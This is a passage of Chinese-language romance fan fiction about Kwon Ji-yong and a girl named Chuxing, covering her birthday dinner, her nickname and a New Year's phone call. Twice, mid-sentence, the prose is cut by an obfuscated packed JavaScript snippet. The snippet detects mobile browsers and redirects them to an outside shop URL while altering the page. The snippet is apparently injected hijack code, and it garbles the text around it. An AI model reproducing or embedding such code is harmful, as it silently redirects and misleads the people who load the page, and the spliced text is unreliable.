“哦……好。”权至龙猛地从失神和心动中惊醒,慌忙压下心底汹涌的、几乎要破胸而出的震撼与柔情,快步跟上她。他看着她轻松愉快、对此一无所知的背影,眼神里的温柔和发现秘密的珍重浓得化不开,那里面包裹着只有他自己知道的、雪夜里的心动发现——那颗眉下的星星,和那个比初雪更纯净的笑容,就此烙印在他心底最深处。 17. 失落 初雪过后,首尔正式进入了寒冬。街道两旁的树枝裹上了一层薄薄的银装,空气清冷而干净,每一次呼吸都带着凛冽的寒意。随着十二月的到来,街头的橱窗渐渐挂起了彩灯和圣诞装饰,弥漫着淡淡的、温暖的节日气息,与室外的寒冷形成鲜明对比。 周五放学后,权至龙照例提前来到初星的校门口等待。他踩着脚取暖,不时呵出团团白气,目光却紧紧盯着校门的方向,像一座望眼欲穿的忠诚雕像。 很快,他看到初星和珍雅一起走了出来。珍雅一眼就看到权至龙,立刻笑着大声打招呼:“哟,至龙xi又来准时报到啦!不过今天我要跟你们一起走一段哦,有重要的事跟初星商量!”说着,她挽起初星的胳膊,加入了他们的行列,气氛热闹起来。 权至龙笑着点头,心里却随着这份“热闹”而微微紧张起来:“好啊,一起走更热闹。”他放慢半步,跟在她们身边。 三人并肩走着,珍雅迫不及待地切入正题,有些兴奋:“初星呐~下周六就是12月13号没错吧?今年生日打算怎么过?要不要一起去吃那家新开的、据说超火的店?” 初星摇摇头,呼出的气息在冷空气中形成一团白雾,声音也带着点冬日的清冷:“今年在家过,哦妈说这次她要大展身手做中餐,露一手她的家乡菜,不出去吃了。” “真的吗?太棒了!”珍雅的眼睛一下子亮了起来,像发现了宝藏,“那我一定要来!好久没吃到阿姨做的正宗中餐了!想想都要流口水了!”她凑近初星,亲昵地撞撞她的肩膀,笑嘻嘻地问,“对了,有没有什么特别想要的礼物?给我点提示嘛,不然我又要像去年一样,绞尽脑汁最后还是瞎买了~” 初星被缠得没办法,想了想,带着点纵容:“随便啦,你送什么我都喜欢。不过……”她顿了顿,貌似真的在思考,“最近倒是缺一条暖和的围巾,要厚实一点的,或者好看的手账本也行,记点东西。冬天最需要保暖了,脖子空荡荡的冷风直往里钻。” “围巾或者手账本是吧?记下了记下了!”珍雅满意地点头,又开始叽叽喳喳地讨论起要买什么款式、什么颜色,“要买厚一点的,羊毛或者羊绒的!现在可是最冷的时候呢!颜色嘛……感觉浅灰色或者米白色会很适合你!” 权至龙安静地走在旁边,努力让自己显得自然,耳朵像雷达一样捕捉着每一个细节,心里默默记下——12月13日、在家过、中餐、珍雅会去、需要厚围巾或手账本。他为获取到这些宝贵信息而暗自开心,一股淡淡的、无法抑制的失落感也随之悄然涌上心头。他知道了日期,知道了地点,知道了菜单,也知道了她想要的礼物……但这一切,似乎都与他无关。他只是一个信息的被动接收者,而不是计划的参与者。 走到分岔路口,珍雅挥手告别,声音依旧充满活力:“那就周一见啦!生日快乐提前预支!拜拜,至龙xi!好好护送我们初星哦!”随后就朝着另一个方向蹦蹦跳跳地离开了。 热闹突然抽离,只剩下两人继续在刺骨的寒风中默默往前走。沉默在空气中蔓延,只有脚步声和呼啸的风声。 权至龙沉默地走了一段路,心里在激烈地纠结和挣扎。那些关于生日的细节在他脑海里反复盘旋。他还是忍不住,装作不经意地开口,声音被风吹得有些散,带着一丝颤抖: “初星啊……”他小心翼翼地选择着最中性的措辞,生怕流露出过多情绪,“刚才听珍雅说……你下周六生日?在家过?阿姨要做中餐?” “嗯。”初星应了一声,把脸往厚厚的围巾里缩了缩。 权至龙的心提了起来,努力让语气听起来只是随口关心和好奇:“那……珍雅是不是要去啊?”问完,他屏住呼吸,紧张地等待着那个早已预知的答案。 “嗯,她来。”初星的回答很简单,干脆,没有丝毫延伸或解释的意思。 尽管早有预料,但亲耳听到这确认的、将他排除在外的答案,权至龙的心还是沉了一下,失落的潮水瞬间淹没了他,他沉默了几秒,想掩饰自己的情绪,但那份羡慕和委屈却不受控制地溢了出来。他低声嘟囔了一句,声音轻得像自言自语,却清晰地飘进初星的耳朵里,里面带着难以掩饰的羡慕和一点点被忽略的委屈:“……真好呀。阿姨做的中餐一定很温暖,很美味吧……生日吃那个最合适了,又热闹又暖和……” 他说这话时,下意识地微微低下头,踢了一下路上无辜的小石子,似乎在发泄那点无处安放的沮丧。路灯昏黄的光线勾勒出他略显失落的侧脸轮廓,那双总是亮晶晶、盛满热情的眼睛此刻也黯淡了几分。 初星原本只是随口应答,并没有多想。但身边突然的、过分的安静和他那句低低的、带着明显羡慕和失落的嘟囔,让她不由自主地侧过头看向他。 她捕捉到了他低垂的眼睫、微微抿起的、透露着委屈的嘴角,以及那份几乎要溢出来的、被小心翼翼隐藏着的失望和渴望。 她蓦然想起上次他生日,永裴xi拉着他,两人吵吵闹闹却又感情深厚的样子。也想起哦妈偶尔会看似随意地问起“至龙那孩子最近怎么样了”。 鬼使神差地,在权至龙已经深吸一口气,调整好表情,准备挤出一个大方的、朋友式的笑容说“那我提前祝你生日快乐”的时候—— 他听到初星的声音再次响起,依旧是她惯有的调子,却扔下了一颗在他听来无异于重磅炸弹的话语: “……你,”她顿了顿,似乎也有点不习惯主动发出这样的邀请,目光飘向路边光秃秃的树枝,“……和永裴xi,要是下周六没事的话……也一起来吧。” 权至龙猛地转过头,眼睛瞬间睁得极大,不可置信地看向初星,怀疑自己出现了幻听。寒风似乎都在这一刻停止了呼啸,他只能听到自己心脏在胸腔里疯狂擂鼓、撞击肋骨的声音,咚咚咚,响得惊人。 “真、真的吗?”他几乎是在惊呼,声音因为极度的激动而拔高,甚至破了音,“我……我和永裴哥?那天真的可、可以去吗?不会……不会打扰到阿姨和你们吗?”他急切地确认着,生怕这是一场梦。 他这副受宠若惊、惊喜到几乎手足无措、语无伦次的样子,反而让初星那点微妙的不自在消失了。她瞥了他一眼,恢复了一点平时的样子,甚至带上了淡淡的、仿佛嫌弃他大惊小怪的味道:“嗯。我妈做的份量肯定超级多,她总是这样,不多来几个人根本吃不完。浪费了可惜。”她顿了顿,像是为了给这个邀请增加合理性,找了个更站得住脚的借口,“反正……永裴xi上次你生日我也见过,算是认识。人多也热闹点。会打扰到永裴xi吗?” “不会打扰!绝对不会!一点都不会!”权至龙立刻保证,把头摇得像拨浪鼓,脸上的笑容如同拨云见日,灿烂得无可比拟,“我们一定准时到!超级准时!提前到都可以!谢谢初星!谢谢!”他高兴得简直不知道该如何是好,只会反复道谢和保证,手脚都不知道该往哪里放,刚才的失落被冲刷得无影无踪。 初星看着他这副傻乎乎高兴坏了的模样,嘴角几不可见地向上弯了一下,那弧度极快极轻,很快又被她用力压下。“走了,冷死了。”她说着,加快了脚步,有些受不了这寒冷的天气,也受不了他过于外露的喜悦。 权至龙快步跟上,步伐轻快得几乎要跳起来,踩在积雪上发出咯吱咯吱的欢快声响。细小的雪花又开始零星地飘落,落在他发烫的脸上瞬间融化,带来冰凉的触感,却丝毫无法冷却他内心的沸腾。他看着身边女孩被寒风勾勒出的纤细侧影,心里已经被幸福感和无限期待填满。 …… 周六,如期而至。 权至龙从一大早就处于一种极度兴奋又紧张的状态,坐立不安。他反复确认着准备好的礼物——一条极其柔软温暖的米白色羊绒围巾,是他挑选了很久、觉得既保暖又符合她气质的款式,被精心包装在一个系着银色丝带的深蓝色礼盒里。他一整天都在脑海里反复演练着晚上见到初星时要说的祝福语,连永裴都忍不住吐槽他“像是要去参加联合国演讲”。 下午四点多,他就拉着永裴提前来到了初星家附近,在寒冷的街道上踱步,不停地看表,深呼吸试图让自己冷静下来。 “至于这么紧张吗?”永裴看着好友这副魂不守舍的样子,忍不住好笑,搓了搓冻僵的手,“只是去朋友家吃个生日饭而已,放松点。” “你不懂,”权至龙深吸一口冰冷的空气,试图让过快的心跳平复下来,眼神里充满了认真,“这不一样。” 与此同时,初星家里则是另一番温暖热闹的景象。初星妈妈系着围裙在厨房里忙碌,空气中弥漫着诱人的、浓郁的中式菜肴香气——红烧肉醇厚的酱香、清蒸鱼清淡的鲜香、爆炒蔬菜的镬气,还有一锅老火汤散发出的、令人安心的浓郁气息。 “娜比呀,来帮妈妈尝一下这个汤的咸淡,好像有点淡了。”妈妈朝着客厅喊道,声音里带着忙碌的愉悦。 初星正窝在沙发里看书,听到妈妈又叫了这个名字,无奈地叹了口气:“哦妈,等下他们来了,你千万不准这么喊我……”话这么说着,她还是放下书,起身走进了烟火气十足的厨房。 门铃在傍晚五点半准时响起。初星走过去打开门,看到权至龙和永裴站在门外。权至龙穿着整洁的深色棉服,头发明显精心打理过,手里紧紧抱着那个包装精美的礼物盒,脸颊不知道是因为寒冷还是紧张,泛着明显的红色。永裴则站在他旁边,手里拎着一盒水果礼篮,笑得一脸爽朗自然。 “生、生日快乐,初星!”权至龙一见到她就立刻送上祝福,声音有点结巴,同时双手有些颤抖地递上礼物,“这是……这是我和永裴一起准备的礼物!” 永裴在一旁挑眉,明明是他陪着挑了很久但完全是权至龙一个人决定的礼物,但还是配合地点点头,笑容温和:“生日快乐,初星xi。打扰了。” “谢谢,快进来吧,外面冷。”初星侧身让他们进屋,温暖的空气和食物香气扑面而来。 这时珍雅也到了,手里拿着一个可爱的、印着卡通图案的纸袋,声音雀跃:“生日快乐!我没迟到吧?哇,好香啊!” 初星家里顿时热闹起来。权至龙显得有些拘谨,手脚都不知道该怎么放,但还是努力保持镇定,礼貌地向初星妈妈鞠躬问好:“阿姨好,打扰您了。非常感谢您的邀请。” “不打扰不打扰,快坐快坐,就当自己家一样。”初星妈妈热情地招呼他们,目光在权至龙身上多停留了一会儿,露出意味深长的、慈爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680907|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容,“你就是至龙吧?常听娜比提起你呢。” 权至龙愣了一下,下意识地重复,带着困惑:“娜比……?” 初星立刻瞪了妈妈一眼,耳根微微发红:“哦妈!” 她最担心的事情还是发生了。 初星妈妈笑着解释道,语气温柔:“啊,这是初星的小名,是蝴蝶的意思。娜比(Nabi)。我知道韩国没有取小名的习惯,但我觉得''娜比''这个名字很可爱,就像她小时候一样,像只小蝴蝶似的在家里蹦蹦跳跳,安静不下来。”她温柔地看着女儿,眼神里充满了回忆,“可惜这孩子长大了害羞,就不喜欢我这么叫她了。” 权至龙的眼睛亮了起来,低声地、小心翼翼地念了了一遍,仿佛在品尝这个词的滋味:“娜比……”而后他惊喜地、带着探寻意味地看向初星,后者却故意避开了他的目光,脸颊和耳尖都泛着淡淡的红晕。 这个意外获得的小名,让权至龙的心底泛起一阵奇异的、柔软的涟漪。 晚餐桌上摆满了丰盛得惊人的中式菜肴,色香味俱全,令人食指大动。初星妈妈的手艺赢得了所有人的由衷赞叹。 “阿姨,这个红烧肉太好吃了!肥而不腻,入口即化!”珍雅吃得赞不绝口,腮帮子都塞得鼓鼓的。 “喜欢就多吃点,锅里还有呢,”初星妈妈笑着给她夹菜,然后又看向权至龙,眼神慈爱,“至龙也多吃点,看你瘦的,正在长身体呢,要多补充营养。”接着就不由分说地给他的碗里夹满了菜,堆得像小山一样。 权至龙受宠若惊地连连点头,他偷偷瞄向身边的初星,发现她正小口地、专注地吃着饭,嘴角不小心沾了一点点深色的酱汁,她自己却浑然不觉。这个小小的、略显可爱的发现让他心头一软。 坐在对面的永裴对初星说:“初星xi,能帮我递一下那边的茶水吗?有点辣。”他指着稍远一点的茶壶。 初星点点头,伸手把茶水递给永裴微笑着说:“永裴xi不用这么客气,总是用敬语怪别扭的,直接叫我初星就可以了。”她顿了顿,侧头思考了一下,“我记得至龙的生日是8月,永裴xi应该比至龙还要大一些吧?那以后我就叫你永裴欧巴好了,显得亲切点。” 永裴有些惊讶,随即露出爽朗又愉快的笑容,从善如流:“好啊,那我就叫你初星了。这个称呼听起来真不错,像是多了个妹妹一样,很温暖。” 珍雅在一旁看着,也跟着起哄,兴奋地拍手:“对啊对啊!永裴欧巴,至龙欧巴!这样叫多亲切啊!”她笑嘻嘻地看着两人,“反正你们都比我大,以后我也要这么叫!我有两个欧巴了!” 坐在初星旁边的权至龙听到这段自然而然的对话,眼睛一下子睁大了,手里的筷子都差点没拿稳,“啪”地轻响一声。他看看笑得一脸开心、毫无芥蒂就接受了“欧巴”称呼的永裴,又看看面色自然、主动提出这个建议的初星,再看看活泼地立刻跟进喊“欧巴”的珍雅,心里涌起一股极其复杂的情绪——既为初星和永裴关系自然变好而感到高兴,但更多的,是一种强烈而尖锐的、说不清道不明的……失落和委屈?像是被单独留在原地的小孩。 珍雅叫他“欧巴”感觉还挺自然、甚至有点开心的,但为什么……为什么初星只叫永裴“欧巴”,而对他还是“权至龙”或“至龙”?他也比初星大啊!他也想被她那样自然地、亲切地称呼啊! 初星察觉到了权至龙骤然沉默和投来的视线,她转过头看向他,恰好捕捉到他脸上那未来得及完全掩饰的、混合着惊讶、困惑和一点点清晰可见的委屈的表情,像只被区别对待、默默伤心的大型犬。她眨了眨眼,嘴角抑制不住地微微上扬,故意用一种带着点戏谑的语气问道:“怎么了,至龙xi?珍雅叫你欧巴不开心吗?还是有什么意见?”她特意加重了“至龙xi”这个称呼。 永裴在一旁将好友的窘态看得分明,忍不住低头偷笑,肩膀微微耸动,还故意添油加醋地说:“是啊,以后初星和珍雅都是我们的妹妹了,至龙欧巴可要做出哥哥的样子,好好表现啊。”他特意加重了“至龙欧巴”四个字的发音,还对权至龙眨了眨眼,眼神里满是调侃。 权至龙在桌下用膝盖轻轻撞了永裴一下,脸上却努力保持着礼貌而不失尴尬的微笑,心里却在疯狂呐喊:不是这样的!我想听的不是从你嘴里说出来的“欧巴”啊! 初星看着两人之间的小动作和权至龙那副有苦说不出的憋屈样子,觉得好笑又有趣,但并没有再多说什么,只是眼底闪过恶作剧得逞般的笑意,继续低下头,安静地小口吃饭。 珍雅完全沉浸在多了两个“欧巴”的快乐中,完全没有察觉到这微妙的、暗流涌动的氛围,还在开心地计划:“太好了!以后我有两个欧巴了!永裴欧巴,至龙欧巴,以后要多多照顾我们哦!有人欺负我们要帮我们出头哦!” 这一刻,权至龙心里真是五味杂陈,百感交集。一方面很高兴能和初星的朋友们关系变得更亲近,气氛如此融洽;但另一方面,那根名为“区别对待”的刺,却深深地扎进了他心里,带来一阵酸涩的疼。他忍不住想着:什么时候……什么时候初星也能对他这么自然亲切呢?哪怕不叫“欧巴”……至少……至少能完全把“权”字和那句疏远的“xi”给去掉吧? 18. 称呼与新年的暖意 生日聚会温馨的余韵还在空气中流淌,夜色已深。初星站在家门口,暖黄的灯光从门内倾泻而出,在她身后拉出一道长长的影子。 “谢谢你们来,路上小心!再见!”她向朋友们道别,声音里带着一丝放松的暖意。 “生日快乐,初星!下次见!”永裴爽朗地挥手,率先转身。 “初星生日快乐!永裴欧巴拜拜!”珍雅活泼地喊道,看向磨蹭在最后、如同脚下生了根的权至龙,露出促狭的笑容,“至龙欧巴不走吗?要留下来帮阿姨洗碗吗?” 权至龙的目光牢牢锁在初星身上,正进行着激烈的天人交战。他深吸一口气,像是下定了某种决心,声音低低的,“我……我再等一下下。有点话……想单独跟初星说。” 珍雅当即露出一个“我懂了,完全明白”的了然笑容,非常识趣地拉上永裴的胳膊:“那我们先走啦!至龙欧巴别聊太晚哦,外面冷!”说完,便笑着拽着永裴快步离开了。 永裴被拉着走,还不忘回头对权至龙投去一个意味深长和调侃的眼神。 热闹骤然散去,门口顿时安静下来,只剩下初星和权至龙两人。冬夜的寒风掠过,卷起几片枯叶,发出沙沙的轻响,气氛变得有些微妙而私密。 初星轻轻靠在门框上,双手插在衣兜里,微微歪头看着明显紧张不安的权至龙,语气有些真实的疑惑:“怎么了?还有什么事?礼物不是都送了吗?” 权至龙看着初星被门口暖黄灯光柔和笼罩的脸庞,那双清冷的眼睛在光线下显得格外明亮。今晚餐桌上那温馨融洽的氛围,初星对永裴自然喊出“欧巴”时那亲近的姿态,以及长久以来积压在心底、越来越难以抑制的想要靠近她、想要拥有一个更特别位置的渴望,在这一刻冲垮了他所有的谨慎和理智。 他像是被某种无形的力量推动着,向前迈了一小步,距离拉近到能清晰感受到彼此的呼吸。他的声音很轻,被夜风吹得有些飘忽,却带着再明显不过的试探和孤注一掷的期待,那个他在心里偷偷默念了无数遍、觉得既甜蜜又带着点冒犯亲昵的称呼,不受控制地、轻轻地从唇齿间滑了出来: “娜比……我……” 他的话戛然而止,像是被按下了暂停键。 只见初星惊讶地微微睁大了眼睛,瞳孔里闪过一丝错愕,像是被结结实实地吓了一跳。随即,肉眼可见的,两抹淡淡的、如同晚霞般的红晕迅速飞上她的脸颊,一直蔓延到耳根。她流露出一种明显的、被打了个措手不及的羞窘和一种被看穿秘密般的傲娇慌乱。她甚至不自觉地、带着点娇嗔意味地微微跺了一下脚,声调不自觉地提高了些许,气急败坏的羞恼: “呀!权至龙!你、你不准那么叫我!” 权至龙被她的反应弄得一愣,原本充斥心间的紧张和忐忑,立刻被奇异的、带着惊喜的发现感所取代。他看着初星泛着诱人红晕的脸颊和那双因为羞恼而更加明亮的眼睛,心里冒出一个更大胆、更得寸进尺的念头——她好像只是害羞,并不是真的讨厌! 这个认知像一剂强心针,给了他无穷的勇气。他像是找到了某种窍门,得寸进尺地又向前凑近了一点点,近到几乎能数清她微微颤动的睫毛。他眼睛亮晶晶地看着她,脸上摆出一副可怜兮兮又充满无限期待的表情,开始了他的“讨价还价”,声音放得更软,几乎像是在撒娇,带着点耍无赖的意味: “那……不叫娜比的话,”他小心翼翼地、紧密地观察着她的每一丝神色变化,委屈巴巴的,“以后……能不能不叫权至龙和至龙xi了?就叫至龙,好不好?”他顿了顿,又抛出了一个自认为更具诱惑力的选项,眼神里充满了希冀,“或者……像珍雅那样,叫至龙欧巴也行?我比你也大啊……叫欧巴不是更理所当然吗……” 他说完,立刻屏住呼吸,眼睛一眨不眨地、像只等待投喂的小狗一样看着初星,等待着她的审判,心脏悬到了嗓子眼。 初星完全没料到他会来这么一出“趁火打劫”式的讨价还价,被他这突如其来的、步步紧逼的请求和那双写满“求你了”的眼睛搞得更加慌乱无措,脸上的红晕有增无减,像熟透的苹果。她想要强硬拒绝,想像平时一样用冷淡的态度把他推开,维护自己的边界,但看着他那副小心翼翼、满怀希望、甚至带着点孤注一掷的可怜样子,到嘴边的、习惯性的拒绝话语竟然像是被什么东西黏住了,有点说不出口。 她有些狼狈地别开视线,不敢再与他对视,手指无意识地紧紧绞着围巾垂下的流苏,声音比刚才低了不少,气势也弱了下去,却依旧强撑着那股傲娇劲儿:“……你想得美!谁、谁要叫你欧巴……肉麻死了……” 权至龙的心随着她的话沉了一下,失望的阴影刚刚笼罩下来,但还没等他完全品尝到苦涩,就又听到她用几乎微不可闻、飞快又含糊的音调,像是怕被听见又像是不得不给自己找个台阶下似的,嘟囔了一句: “……至龙……什么的……以后再说啦!” 虽然不是什么明确的承诺,甚至更像是一句敷衍的、拖延战术的推脱,但她说“以后再说”!这意味着有希望!有可能性! 喜悦瞬间冲散了他心中那点小小的失望,他的眼睛像是落入了整条银河,脸上绽放出灿烂无比、几乎能融化冬夜寒冰的笑容,像个得到了最想要糖果、心满意足的孩子:“真的?以后再说?那就是有希望的意思,对吧?有可能的,对吧?”他急切地想要确认,快乐得快要原地跳起来。 “呀!你烦不烦!快走吧!冷死了!”初星被他毫不掩饰的、过于灿烂的笑容和连珠炮似的追问搞得更加不好意思,脸颊烫得厉害,羞恼地伸手轻轻推了他肩膀一下,力道很轻,更像是某种掩饰,“我要关门了!再不走真关门了!” “好!我走我走!马上走!”权至龙从善如流,脸上的笑容却怎么也收不住,仿佛是刻在了脸上,一边后退一边用力挥手,充满了飞扬的喜悦,“晚安!初星!……谢谢你的‘以后再说’!” 初星红着脸,故作生气地“哼”了一声,不再看他,转身飞快地跑进了屋里,带着点落荒而逃的意味,“砰”地一声,略显用力地关上了门,将寒冷的夜晚和他那过于炽热的笑容关在了门外。 权至龙独自站在寒冷的夜空下,看着眼前紧闭的、却还残留着她气息的门扉,感觉浑身都暖洋洋的。他忍不住低低地笑出声来,笑声在寂静的夜里格外清晰,回味着刚才初星那副又羞又恼、口是心非、鲜活无比的可爱模样,还有那句堪比金科玉律的“以后再说”。这小小的进展,对他而言,不亚于赢得了一场重要的战役。 在他心满意足、准备离开时,又想起一件至关重要的事,他几步小跑回门前,犹豫了一下,还是抬起手,轻轻地、带着点忐忑敲了敲门。 门很快被打开了一条缝,露出初星半张脸。她脸上的红晕还未完全褪去,眼神里带着明显的疑惑和一点点未褪的羞恼和被打扰的不耐烦:“又怎么了?不是让你走了吗?” 权至龙看着她,浑身软得一塌糊涂,像浸满了温热的蜂蜜。他有些不好意思地抓了抓头发,眼神里闪烁着期待和一点点不安,“那个……初星啊……我送你的礼物……你……你会用吗?” 初星显然被这个跳跃的、突如其来的问题问得愣了一下,带着点茫然:“……你送了什么?” 权至龙脸上的期待瞬间凝固了一秒,流露出一点点不易察觉的委屈和失落,但很快他又振作起来,自我安慰般,耐心地、带着提醒意味地告诉她,语气里的那丝委屈却更明显了:“是围巾啊……米白色的,羊绒的那条……很软很暖和的……我刚刚……才送给你的……” “啊……那个啊。”初星这才想起来,脸上闪过尴尬,但很快又被她惯有的、那副淡淡的、有点傲娇的样子所覆盖。她瞥了他一眼,微微扬起下巴,有些随意:“嗯……如果和衣服搭配的话,天气又够冷,我可能会戴着的。” 没有欣喜的保证,没有明确的喜欢,甚至听起来有点勉强和居高临下的审视。 但这对刚刚经历了“称呼”战役大获全胜的权至龙来说,已经足够了!只要她不排斥,有使用的可能性,就是胜利! 他的眼睛瞬间又重新被点亮,脸上再次绽放出傻气的笑容,连忙用力点头,急切地开始推销自己的礼物,恨不得把心掏出来证明:“很百搭的!米白色肯定百搭!配什么颜色的外套都好看!而且真的超级暖和!现在戴正合适!可以保护脖子不灌风!” 初星看着他这副急于证明、傻乎乎认真保证的样子,只是“嗯”了一声,算是听到了他的推销,也算是给了个模糊的回应。 “那……我走了!这次真走了!”得到了这个“搭配且天冷就可能会戴”的、充满可能性的承诺,权至龙的心彻底放回了肚子里,心情比刚才更加雀跃飞扬,像充满了氢气的气球,“晚安!初星!”他声音轻快地道别。 “嗯。”初星的声音依旧很轻,没什么波澜,然后转身,再次关上了门。 权至龙这才真正心满意足地、一步三回头地、几乎是蹦跳着离开了初星家所在的街道。他走在凛冽的夜风里,脑海里已经开始不受控制地、一遍又一遍地想象着明天,或者后天,或者不久的某一天,在某个寒冷的清晨或傍晚,看到初星纤细的脖颈上,围着他精心挑选的那条米白色羊绒围巾的样子了。 …… 年末的夜晚,空气中弥漫着辞旧迎新的特殊氛围。 初星窝在自家房间温暖的沙发上,腿上盖着柔软的毛毯,正心不在焉地看着电视里直播的、热闹喧嚣的跨年晚会。家里很温暖,灯光柔和,与窗外深沉寒冷的冬夜形成鲜明对比。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680908|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机屏幕突然亮起,屏幕上清晰地跳动着“至龙”两个字。初星看到来电显示,嘴角不自觉地微微上扬了一个清晰的弧度,很快便接起了电话。 “喂,至龙?”她的声音透过听筒传出,带着一丝自己都没察觉的、相较于平时的柔和。 电话那头立刻传来权至龙清亮又带着点急切和兴奋的声音,背景音有些嘈杂,充满了人声、欢笑声和隐约的音乐声,似乎正置身于热闹的户外:“初星!新年快乐!”他的祝福抢先一步,带着满满的、几乎要溢出听筒的活力和喜悦,仿佛能驱散所有寒意。 “新年快乐。”初星的声音里含着淡淡的笑意,“你那边好吵,在外面吗?汉江边?” “在汉江公园这边!好多人啊,简直是人山人海!烟花马上就要开始了!听说今年特别壮观!”至龙兴奋不已,但很快又补充道,声音压低了些,显得更清晰,“你呢?在家吗?是不是很暖和?比我们这边暖和多了吧?” “嗯,在家看电视晚会。”初星调整了一下坐姿,让自己在沙发里陷得更舒服些,目光却不自觉地落在窗外漆黑的夜空,仿佛在期待什么,“汉江那边肯定风很大,很冷吧?你穿够了吗?别感冒了。” “我穿超多的!裹得像只熊!放心吧!”至龙的声音带着被关心的暖意和笑意,随即,他想到了什么,变得期待又有点小心翼翼的试探,“那个……初星,我送的那条围巾……你今天……有戴吗?” 初星微微一怔,下意识地转头看向卧室衣帽架上挂着的那条米白色羊绒围巾。今天一整天都窝在家里,它自然安安静静、好好地挂在那里,散发着柔软的光泽。 “今天没出门,所以没戴。”她如实回答,话音刚落,就清晰地听到电话那头传来一声倏地低落下去的、拖长了音调的“哦……”,那声音里的失望几乎能穿透电波,让她心里莫名地软了一下,仿佛能清晰地想象出他此刻在热闹人群里、却可能微微耷拉下肩膀、有些失落的模样。 “不过,昨天和珍雅出去逛街的时候戴了,很暖和,挡风效果很好。而且……”她顿了顿,像是随口一提,“我哦妈看到了,也说颜色挺好看,很衬肤色。” “真的吗?阿姨也觉得好看?”至龙的声音立刻明亮起来,充满了惊喜,几乎能听到他开心得笑出声来,“我就说很百搭吧!颜色是我挑了很久的!你以后多戴戴嘛,反正冬天还长,冷的日子多着呢!”他又变得轻快而雀跃,开始积极地“推销”起来。 初星听着他瞬间恢复活力、甚至比之前更加兴奋的声音,忍不住也对着手机轻轻笑了声。这家伙果然简单又好懂,情绪直来直去,一句简单的肯定和第三方的好评,就能让他高兴得像是收到了最好的新年礼物,充满了成就感。作为他如此重视的朋友,让他开心一下,她觉得是应该的。 “嗯,看情况吧。需要的时候会戴的。”她依旧平淡,听不出太多热情,却并无拒绝之意,留下了充分的余地。 这时,电话那头传来震耳欲聋的、巨大的集体欢呼声和烟花冲上天空时的轰鸣声!至龙提高了音量,声音里充满了震撼和分享的急切:“初星!烟花开始了!哇!超级漂亮!满天都是!可惜你不能亲眼看到这边的情景……” “没关系,”初星不由自主地望向窗外,被他的描述牵引,“我这边也能看到一点。”她的窗外,远处的夜空中,正恰好绽放开来一朵巨大而绚烂的、如同金色瀑布般的烟花,将漆黑的夜幕短暂地照亮。 两人一时无言,电话两端,一个置身于喧闹璀璨、寒风凛冽的现场,感受着震耳欲聋的欢呼和扑面而来的集体热情;一个安坐在温暖安静、灯火可亲的室内,透过窗户安静地欣赏着远方的光影。却通过这一根细细的电话线,奇妙地连接起来,共享着同一个新旧交替的、充满希望的瞬间。 窗外的烟花表演似乎进入了一个高潮,连绵不绝。过了一会儿,在烟花声稍歇的间隙,初星轻声开口,叫了他的名字,声音在电流中显得格外清晰和柔和: “至龙。” “嗯?我在!”电话那端立刻传来回应,背景音依旧嘈杂,他的声音却异常清晰和专注。 “新的一年,”她的声音透过话筒传递过去,“也请多关照了。” 电话那端沉默了一两秒,随即,传来权至龙无比认真的回答,异常坚定:“嗯!说好了!新的一年,每天放学也一起回家!我会一直……当好你的朋友的!” 初星握着手机,指尖能感受到机身传来的微微暖意。颈间似乎又隐约感受到那条羊绒围巾的柔软温暖的触感。一种踏实而温暖、被真诚对待的感觉静静地萦绕在心间。 新年的钟声仿佛在远方敲响,她望着窗外再次亮起的夜空,真诚地希望,这份来之不易的、珍贵的友情,能够长久地延续下去。 19. 意外的独处和涟漪 新年过后,短暂的假期结束,学校迎来了新的学期,空气中似乎也注入了新的、躁动不安的因子。 开学第一周,班级里的氛围就变得有些不同寻常,尤其是女生之间,课间总三三两两地聚在一起,低声讨论着什么,眼神里闪烁着掩饰不住的兴奋和好奇,偶尔还会爆发出压抑的轻笑和低呼。 初星对此一贯后知后觉,她的世界相对简单,除了必要的交流和珍雅的八卦,她很少主动融入这些浪潮。直到下午的自习课,班主任领着一个陌生的男生走进教室,才像一颗投入平静湖面的石子,打破了她的固有节奏。 “同学们,安静一下。”班主任敲了敲讲台,“这位是从光州转来的新同学,李叙夏,以后就在我们班学习了,希望大家能友好相处,互相帮助。大家欢迎。” 教室里响起一阵格外热烈、甚至有些过长的掌声,夹杂着几声几乎无法克制的、带着兴奋的低声惊呼。 初星闻声从书本上抬起头,目光习惯性地投向讲台,当她的视线落在那个新同学身上时,也不由自主地停顿了一下。 那是一个极其好看的男生。身材高挑清瘦,穿着干净整洁的校服,衬得他肩线平直。皮肤是冷调的白皙,五官精致得像是精心描绘过的水墨画,眉眼清晰,鼻梁挺直,唇形薄而分明。尤其是那双眼睛,瞳仁颜色偏浅,像浸在清水里的琉璃,清澈温和,此刻正微微低垂着,带着初来乍到的、显而易见的腼腆和一丝不易察觉的安静疏离。他轻声做了个极其简单的自我介绍,声音清润温和,像溪水流过卵石,说完后,白皙的耳根似乎还泛起一点不易察觉的、淡淡的红晕。 “哇……真的好帅……像漫画里走出来的……” “感觉性格也很好,好温柔好害羞的样子。” “名字也很好听啊……叙夏……” 